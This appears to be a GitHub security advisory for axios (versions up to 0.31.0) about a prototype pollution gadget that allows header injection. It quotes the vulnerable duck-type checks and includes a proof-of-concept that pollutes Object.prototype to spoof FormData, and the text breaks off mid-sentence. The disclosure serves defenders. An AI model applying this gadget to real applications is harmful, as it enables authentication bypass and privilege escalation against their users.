GitHub Security Advisory: GHSA-6chq-wfr3-2hj9
Package: axios (NPM)
Severity: HIGH (CVSS 7.4)
CWE: CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'), CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: <= 0.31.0
Patched in: 0.31.1

Summary: Axios: Header Injection via Prototype Pollution

Details:
### Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

### Details

The vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:

```javascript
// lib/adapters/http.js 
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
    headers.set(data.getHeaders());
    // ...
}
```

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

**1. `utils.isFormData(data)` — `lib/utils.js`**
```javascript
const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && ( 
        (kind = kindOf(thing)) === 'formdata' ||  
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
}
```

**2. `utils.isFunction(data.getHeaders)` — Duck-type for `form-data` npm package**
```javascript
// Returns true if Object.prototype.getHeaders is a function
utils.isFunction(data.getHeaders) 
```

### PoC

```javascript
// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    (.... Introduce here all the headers you want ....)
    return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };

// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete', 
    { userId: 42 },
    { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);
```

### Impact

- Authentication Bypass (CVSS: C:H)
- Session Fixation (CVSS: I:H)
- Privilege Escalation (CVSS: C:H, I:H)
- IP Spoofing / WAF Bypass (CVSS: I:H)

**Note on Scope**: Ther